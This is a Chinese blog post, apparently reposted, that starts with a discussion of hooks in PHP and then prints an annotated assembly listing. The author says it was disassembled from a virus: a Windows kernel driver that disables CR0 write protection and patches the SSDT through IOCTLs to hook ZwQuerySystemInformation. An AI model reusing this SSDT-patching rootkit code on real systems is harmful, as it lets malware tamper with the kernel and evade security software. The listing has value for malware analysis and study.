您的位置:首页 > 编程语言 > PHP开发

PHP讨论之什么是HOOK?

2013-05-31 11:18 260 查看
做个广告先,PHP学习群6848027
今天在群里和群友讨论到了PHP的HOOK模式,感觉对方说的非常有趣,于是就有了这篇文章

首先纠结一下到底什么是HOOK?
大家都说HOOK是钩子,这到底是做什么的?
想想下面的场景
桌面EXE程序本身所有的代码都被封装了(开发者不提供标准接口),不提供?那如果我们想要扩展这个EXE的功能怎么办?
这个时候就用到HOOK了,将自己的代码写到EXE进程,拦截掉原有的被HOOK的函数,实现我们的HOOK代码

在想想下面的场景
一个PHP程序本身源代码被加密,如何HOOK?我们想重写PHP的代码怎么办呢?哈哈,有人说解密就行了
解密是一种方式,我想不改变源代码的情况下实现呢?当然这就需要开发者提供接口了!
实际上你想要在JAVA,C#,C++中实现一种类似HOOK的功能你就必须定义接口,供人HOOK,
然而PHP自身为动态语言,一切都是泛型(这也是PHP的强大之处)实现接口并无实际意义,反而浪费了很多代码,有时一个
回调函数可能来的更直接效率更高,所以这些习惯了动态脚本代码的PHPCODER早已忘了什么是接口了,一味的理解自己认为的HOOK。


至于如何实现优雅的PHP接口,我从原来反汇编的一个病毒程序中得到了一些启示.
多播接口我想在PHP界目前还没有这个先进的说法吧(准备写个这个模式的教程,哇哈哈)
来看看下面的这个病毒程序是如何实现的

整体思路

1。获取ssdt函数个数
2。获取ssdt函数表中的所有函数
3。hook ZwQuerySystemInformation
4。unhook ZwQuerySystemInformation
5。根据用户给定的函数地址和ssdt表中的索引,修改ssdt表。

注:
1)其中在hook ZwQuerySystemInformation执行时,首先通过ZwQuerySystemInformation找出ntosknrl.exe 模块的内存加载位置,然后通过ntosknrl.exe的导出表找出函数NtQuerySystemInformation的地址。然后hook ZwQuerySystemInformation。各位看官,作者的主要目的是防止SSDT中该函数被挂钩,因此作者在这里做了恢复.病毒作者要使用这个函数,但是害怕这个函数已经被别人做了手脚。

2)unhook ZwQuerySystemInformation时,作者使用完该函数后又恢复了ssdt原有的状态。

.386
.model flat,stdcall
option casemap:none

include w2k\ntstatus.inc
include w2k\ntddk.inc

include w2k\ntoskrnl.inc
includelib C:\RadASM\masm32\lib\w2k\ntoskrnl.lib
include Swk0207.inc

.data
unk_10B80 db  4Eh ; N
db  0E6h  ; ?
db  40h  ; @
db  0BBh  ; ?
OldSSDTValueOfZwQuerySystemInformation dd 0

.code
;              6E 74 6F 73 6B 72 6E 6C 2E 65 78 65 00 CC 6A 24 = ntoskrnl.exe,0   int3  push 24h
FunctionArray dd 736F746Eh, 6C6E726Bh, 6578652Eh,246ACC00h

;***********************************************************************************************
; ZwQuerySystemInformation获取ntoskrnl.exe的内存加载地址
;***********************************************************************************************

;typedef struct _SYSTEM_MODULE_INFORMATION  // Information Class 11
;{
;    ULONG  Reserved[2];  +0
;    PVOID  Base;         +08h
;    ULONG  Size;         +0ch
;    ULONG  Flags;        +10h
;    USHORT Index;        +14h
;    USHORT Unknown;      +16h
;    USHORT LoadCount;    +18h
;    USHORT ModuleNameOffset; +1Ah
;    CHAR   ImageName[256];   +1Ch
;} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

;typedef NTSTATUS ( __stdcall *ZWQUERYSYSTEMINFORMATION )
;                  ( IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
;                    IN OUT PVOID SystemInformation,
;                    IN ULONG SystemInformationLength,
;                    OUT PULONG ReturnLength OPTIONAL );

;typedef struct _tagSysModuleList {
;    ULONG ulCount;
;    SYSTEM_MODULE_INFORMATION smi[1];
;} SYSMODULELIST, *PSYSMODULELIST;

;用法如下:
;s = NtQuerySystemInformation( SystemModuleInformation, pRet,
;sizeof( SYSMODULELIST ), &nRetSize );

xor  ebx, ebx
mov  [ebp-24h], ebx
mov  [ebp-4], ebx

lea  eax, [ebp-1Ch]
push  eax          ;ReturnLength
push  ebx          ;SystemInformationLength = 0
lea  eax, [ebp-20h]
push  eax          ;SystemInformation
push  0Bh          ;SystemModuleInformation,遍历模块
mov  esi, ZwQuerySystemInformation
call  esi ; ZwQuerySystemInformation ,第一次调用得到需要的缓冲区长度

mov  [ebp-28h], eax
cmp  eax, 0C0000004h
jnz  ERRORRET

push  206B6444h ;   ' kdD'标签
push  dword ptr [ebp-1Ch] ;申请的长度
push  ebx                 ;NonPagedPool
call  ExAllocatePoolWithTag
mov  edi, eax
mov  [ebp-30h], edi   ;保留返回值

cmp  edi, ebx        ;判断返回值是否为空
jnz  NextStep
or  dword ptr [ebp-4], 0FFFFFFFFh
xor  eax, eax
jmp  ErrAllocMem

NextStep:
lea  eax, [ebp-34h]          ;ReturnLength
push  eax
push  dword ptr [ebp-1Ch] ;SystemInformationLength
push  edi                 ;SystemInformation
push  0Bh                 ;SystemModuleInformation
call  esi                 ; ZwQuerySystemInformation
mov  [ebp-28h], eax

cmp  eax, ebx
jl  ReleaseMemory

mov  eax, [edi]
mov  [ebp-1Ch], eax  ;保留ZwQuerySystemInformation返回的SYSTEM_MODULE_INFORMATION元素个数
lea  esi, [edi+4]
mov  [ebp-2Ch], esi  ;保留返回的SYSTEM_MODULE_INFORMATION数组首地址
mov  [ebp-20h], ebx  ;计数变量清零

FORLOOP:
mov  eax, [ebp-1Ch] ;开始for循环
cmp  [ebp-20h], eax
jnb  ReleaseMemory
push  offset FunctionArray

; 例如: ImageName: windows\system32\ndis.sys, 那么 ModuleNameOffset 就是 0x11
movzx  eax, word ptr [esi+1Ah] ;SYSTEM_MODULE_INFORMATION.ModuleNameOffset ,指向名字的偏移
lea  eax, [eax+esi+1Ch]  ;SYSTEM_MODULE_INFORMATION.ImageName + SYSTEM_MODULE_INFORMATION.ModuleNameOffset
push  eax   ;不包含路径的名字
call  _stricmp
pop  ecx             ;出栈
pop  ecx
test  eax, eax
jnz  ContinueLoop
mov  eax, [esi+8]    ;返回SYSTEM_MODULE_INFORMATION.Base
mov  [ebp-24h], eax  ;返回值保存在[ebp-24h]单元

ReleaseMemory:
push  edi
call  ExFreePool
jmp      ERRORRET

ContinueLoop:
inc  dword ptr [ebp-20h] ;循环变量递增
add  esi, 11Ch           ;取下一个SYSTEM_MODULE_INFORMATION类型元素
mov  [ebp-2Ch], esi      ;暂存当前的SYSTEM_MODULE_INFORMATION元素
jmp  FORLOOP

SehFunction     proc near
mov     esp, [ebp-18h]
ERRORRET::
or      dword ptr [ebp-4], 0FFFFFFFFh
mov     eax, [ebp-24h]
ErrAllocMem::
ret
SehFunction    endp

;********************************************************************************************
; 相当于GetProcessAddress的功能, hModule是指ntoskrnl.exe模块,查找该PE导出表,
; 找出pFunctionName的函数地址.
; 工作原理: 遍历导出表中的AddressOfFunctions,每取出一个函数地址,都根据其在AddressOfFunctions中的
;           索引,遍历整个的AddressOfNames表和AddressOfNameOrdinals表,找出序号跟AddressOfFunctions
;           索引相匹配的函数名,比对函数名和输入参数2是否相同,相同则从AddressOfFunctions中返回当前函数
;           的地址,不同则继续找...
;********************************************************************************************
GetProcessFromNtoskrnl proc hModule:dword,FunctionName:dword

LOCAL AddressOfNameOrdinals:dword;函数名序号表
LOCAL AddressOfNames:dword       ;函数名地址表
LOCAL OutputTable:dword          ;导出表地址
LOCAL AddressOfFunctions:dword   ;指向导出函数地址表中的指针
LOCAL pFunctionName:dword        ;函数名
LOCAL i:dword                    ;循环变量
LOCAL CurAddressOfNameOrdinals:dword ;当前函数名序号
LOCAL CurAddressOfNames:dword        ;当前的函数名地址
LOCAL nIndex:dword                   ;循环变量
LOCAL myFoundOutFunctionName:dword   ;我们从函数名地址表中找出的函数名指针
LOCAL InputFunctionName:dword         ;输入的函数名指针,指向参数2
LOCAL SecondCharacterOfFunctionName:byte
LOCAL FirstCharacterOfFunctionName:byte

mov  edx, hModule
mov  eax, [edx+3Ch]
add  eax, edx           ; 指向PEHeader
cmp  word ptr [edx],  5A4Dh ; 'MZ'
jnz  Quit
cmp  dword ptr [eax], 4550h ;'PE'
jnz  Quit
mov  eax, [eax+78h]
add  eax, edx          ;指向导出表
mov  OutputTable, eax

mov  edi, [eax+20h] ; IMAGE_EXPORT_DIRECTORY.AddressOfNames
add  edi, edx
mov  AddressOfNames, edi

mov  esi, [eax+1Ch] ;IMAGE_EXPORT_DIRECTORY.AddressOfFunctions
add  esi, edx
mov  AddressOfFunctions, esi

mov  ecx, [eax+24h] ;IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals
add  ecx, edx
mov  AddressOfNameOrdinals, ecx

and  nIndex, 0
mov  edx, pFunctionName

StartSearch:
mov  ebx, nIndex
cmp  ebx, [eax+14h] ;IMAGE_EXPORT_DIRECTORY.NumberOfFunctions
jnb  Quit

cmp  dword ptr [esi], 0 ;判断AddressOfFunctions中第一个函数地址是否为空
jz  NextAddressOfFunction          ;如果为空,就取IMAGE_EXPORT_DIRECTORY.AddressOfFunctions表中的下一个函数

mov  CurAddressOfNames, edi
mov  CurAddressOfNameOrdinals, ecx
and  i, 0

StartFindFunctionFromAddressOfNames:
mov  ebx, i
cmp  ebx, [eax+18h]   ;IMAGE_EXPORT_DIRECTORY.NumberOfNames
jnb  OutOfRange
mov  ebx, CurAddressOfNameOrdinals
movzx  ebx, word ptr [ebx]
cmp  ebx, nIndex      ;判断从AddressOfFunctions得到的序号,跟AddressOfNameOrdinals得到序号是否一致
jnz  NextAddressOfNameOrdinals
mov  edx, CurAddressOfNames
mov  edx, [edx]
add  edx, hModule
mov  pFunctionName, edx   ;取出函数名

OutOfRange:
test  edx, edx        ;判断是否空
jz  ContinueWork

mov  myFoundOutFunctionName, edx    ;暂存函数名
mov  edx, FunctionName
mov  InputFunctionName, edx         ;暂存输入的函数名

CompareFunctionName:
mov  edx, InputFunctionName
mov  dl, [edx]
mov  FirstCharacterOfFunctionName, dl
mov  ebx, myFoundOutFunctionName
cmp  dl, [ebx]
jnz  Different     ;不相同
test dl, dl       ;判断InputFunctionName是否为空,如果为空,就返回函数地址表中的第一个
jz  RetCurrentFunctionAddress

mov  edx, InputFunctionName  ;比对函数名中的下一个字符
mov  dl, [edx+1]
mov  SecondCharacterOfFunctionName, dl
cmp  dl, [ebx+1]
jnz  Different

add  InputFunctionName, 2
add  myFoundOutFunctionName, 2
test  dl, dl
jnz   CompareFunctionName

RetCurrentFunctionAddress:
xor  edx, edx           ;edx = 0,表示找到对应的函数
jmp  GetFunctionAddress

NextAddressOfNameOrdinals:
add  CurAddressOfNames, 4
add  CurAddressOfNameOrdinals, 2
inc  i
jmp  StartFindFunctionFromAddressOfNames

Different:
sbb  edx, edx
sbb  edx, 0FFFFFFFFh  ;edx = 1,表示没有找到对应的函数,继续找

GetFunctionAddress:
test  edx, edx
jnz  ContinueWork

mov  esi, [esi]
add  esi, hModule
mov  eax, esi      ;返回函数地址
jmp  Founded

ContinueWork:
xor  edx, edx
mov  pFunctionName, edx

NextAddressOfFunction:
add  esi, 4
mov  AddressOfFunctions, esi
inc  nIndex
jmp  StartSearch

Quit:
xor  eax, eax
Founded:
ret
GetProcessFromNtoskrnl endp

;**************************************************************************
; 给出一个索引值和一个函数地址,修改ssdt表
;**************************************************************************
HookSSDTByFunIndex proc Value:dword,Index:dword

mov  ecx, Index
mov  eax, KeServiceDescriptorTable
cmp  ecx, [eax+8]  ;NumberOfService
jb  @f
xor  al, al
jmp  Quit

@@:
;去掉写保护
push  eax
mov  eax, cr0
and  eax, 0FFFEFFFFh
mov  cr0, eax
pop  eax

mov  eax, KeServiceDescriptorTable
mov  eax, [eax]
mov  edx, Value; Value
lea  ecx, [eax+ecx*4] ; Target
call  InterlockedExchange

;恢复写保护
push  eax
mov  eax, cr0
or  eax, 10000h
mov  cr0, eax
pop  eax

Quit:
ret
HookSSDTByFunIndex endp

;**************************************************************************
; hook ZwQuerySystemInfomation,替换为NtQuerySystemInformation ,返回值为原来的值
;**************************************************************************
HookSSDT proc Value:dword,FunAddr:dword
push  eax
;去掉写保护
mov  eax, cr0
and  eax, 0FFFEFFFFh
mov  cr0, eax
pop  eax

mov  ecx, KeServiceDescriptorTable
mov  eax, FunAddr
mov  eax, [eax+1] ;通过ZwQuerySystemInfomation得到ssdt中的index
mov  ecx, [ecx]   ;ServiceTableBase
mov  edx, Value   ; Value
lea  ecx, [ecx+eax*4] ; Target
call  InterlockedExchange
mov  ecx, eax
push  eax

;恢复写保护
mov  eax, cr0
or  eax, 10000h
mov  cr0, eax

pop  eax
mov  eax, ecx
ret
HookSSDT endp

SourceString wchar L(<\\DosDevices\\Swk0217\0>)

swkUnLoad proc pDriverObject :dword
LOCAL DestinationString:UNICODE_STRING

push  ecx
push  ecx
push  offset SourceString ; SourceString
lea  eax, DestinationString
push  eax    ; DestinationString
call  RtlInitUnicodeString
lea  eax, DestinationString
push  eax    ; SymbolicLinkName
call  IoDeleteSymbolicLink
mov  eax, pDriverObject
push  dword ptr [eax+4] ; DeviceObject
call  IoDeleteDevice

ret
swkUnLoad endp

aNtquerysystemi  db 'NtQuerySystemInformation',0

DispatchFunction:
push  esi
mov  esi, [esp+0Ch]   ;pIrp
mov  eax, [esi+60h]   ;取IRP.CurrentStackLocation

and  dword ptr [esi+18h], 0 ;将IRP中的IoStatus置零,这个结构体见ntddk.inc
and  dword ptr [esi+1Ch], 0

cmp  byte ptr [eax],  0Eh  ;IO_STACK_LOCATION.MajorFunction
mov  edx, [esi+0Ch]       ;IRP.AssociatedIrp.SystemBuffer
mov  ecx, [eax+8]         ;IO_STACK_LOCATION.Parameters.DeviceIoControl.InputBufferLength
push  edi
jnz  CreateAndClose
mov  eax, [eax+0Ch]       ;IoControlCode
cmp  eax, 83471060h
jz  GetSSDTNum           ;获取ssdt函数个数
cmp  eax, 83471064h
jz  GetSSDTFunction      ;获取ssdt函数表
cmp  eax, 83471068h
jz  HookZwQuerySystemInformation ;hook ZwQuerySystemInformation
cmp  eax, 8347106Ch
jz  RestoreHookSSDT      ;恢复前面hook的ZwQuerySystemInformation
cmp  eax, 83471070h
jz  ModifySSDTByFunIndex ;根据用户给定的函数地址和ssdt表中的索引,修改ssdt表
mov  dword ptr [esi+18h], 0C000000Dh  ;IoStatus
jmp  CreateAndClose

ModifySSDTByFunIndex:
push  8
pop  edi
cmp  ecx, edi  ;判断InputBufferLength是否等于8
jnz  CreateAndClose
push  dword ptr [edx+4] ;SystemBuffer中第二个dword值,代表一个ssdt表中的索引
push  dword ptr [edx]   ;;SystemBuffer中第一个dword值,代表一个给定的函数地址
call  HookSSDTByFunIndex
test  al, al
jz  CreateAndClose
mov  [esi+1Ch], edi
jmp  CreateAndClose

RestoreHookSSDT:  ;恢复ssdt表
mov  eax, OldSSDTValueOfZwQuerySystemInformation
test  eax, eax
jz  CreateAndClose
mov  ecx, ZwQuerySystemInformation
cmp  eax, ecx
jz  HaveDone
push  ecx
push  eax
call  HookSSDT

HaveDone:
and  OldSSDTValueOfZwQuerySystemInformation, 0
jmp  CreateAndClose

HookZwQuerySystemInformation:
call  near ptr FunctionArray+0Eh  ;执行 push 24h,通过ZwQuerySystemInformation获取ntoskrnl.exe的内存加载地址
test  eax, eax
jz  CreateAndClose
push  offset aNtquerysystemi     ; "NtQuerySystemInformation"
push  eax
call  GetProcessFromNtoskrnl
mov  ecx, ZwQuerySystemInformation
cmp  eax, ecx
jz  CreateAndClose
push  ecx
push  eax
call  HookSSDT
mov  OldSSDTValueOfZwQuerySystemInformation, eax ;保存原ssdt表中函数地址
jmp  CreateAndClose

GetSSDTFunction:
mov  eax, KeServiceDescriptorTable
mov  edi, [eax+8] ;NumberOfService
push  ebx
mov  ebx, edi
shl  ebx, 2       ;NumberOfService*4
cmp  ecx, ebx     ;比较输入长度与NumberOfService*4,判断申请的缓冲区是否够
pop  ebx
jb  CreateAndClose
xor  ecx, ecx
test  edi, edi
jbe  GetSSDTFunctionErr

GetNextSSDTFunction:
mov  eax, [eax]
mov  eax, [eax+ecx*4]
mov  [edx+ecx*4], eax
mov  eax, KeServiceDescriptorTable
inc  ecx
cmp  ecx, [eax+8]
jb  GetNextSSDTFunction

GetSSDTFunctionErr:
mov  eax, [eax+8]
shl  eax, 2
jmp  Quit

GetSSDTNum:
push  4
pop  eax
cmp  ecx, eax ;输入长度<4跳转
jb  CreateAndClose
mov  ecx, KeServiceDescriptorTable
mov  ecx, [ecx+8] ;NumberOfService
mov  [edx], ecx  ;edx指向IRP.AssociatedIrp.SystemBuffer

Quit:
mov  [esi+1Ch], eax

CreateAndClose:
mov  edi, [esi+18h] ;IoStatus
xor  dl, dl
mov  ecx, esi
call  IofCompleteRequest
mov  eax, edi
pop  edi
pop  esi
ret

wcharDeviceName wchar L(<\\Device\\Swk0217\0>)
wcharSymbolicLink wchar L(<\\DosDevices\\Swk0217\0>)

start proc DriverObject:dword
LOCAL SymbolicLinkName:UNICODE_STRING
LOCAL DestinationString:UNICODE_STRING
LOCAL DeviceObject:dword

and  DeviceObject, 0
push  esi
push  edi
mov  edi, RtlInitUnicodeString
push  offset wcharDeviceName ; SourceString
lea  eax, DestinationString
push  eax    ; DestinationString
call  edi             ; RtlInitUnicodeString
mov  esi, DriverObject
lea  eax, DeviceObject
push  eax    ; DeviceObject
push  0    ; Exclusive
push  0    ; DeviceCharacteristics
push  598347h    ; DeviceType
lea  eax, DestinationString
push  eax    ; DeviceName
push  0    ; DeviceExtensionSize
push  esi    ; DriverObject
call  IoCreateDevice
test  eax, eax
jl  @f
push  offset wcharSymbolicLink ; SourceString
lea  eax, SymbolicLinkName
push  eax    ; DestinationString
call  edi ; RtlInitUnicodeString
lea  eax, DestinationString
push  eax    ; DeviceName
lea  eax, SymbolicLinkName
push  eax    ; SymbolicLinkName
call  IoCreateSymbolicLink
mov  ecx, offset DispatchFunction
mov  [esi+70h], ecx ;IRP_MJ_DEVICE_CONTROL
mov  [esi+40h], ecx ;IRP_MJ_CLOSE
mov  [esi+38h], ecx ;IRP_MJ_CREATE
mov  dword ptr [esi+34h], offset swkUnLoad ;DriverObject.DriverUnLoad

@@:
pop  edi
pop  esi
ret
start endp
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: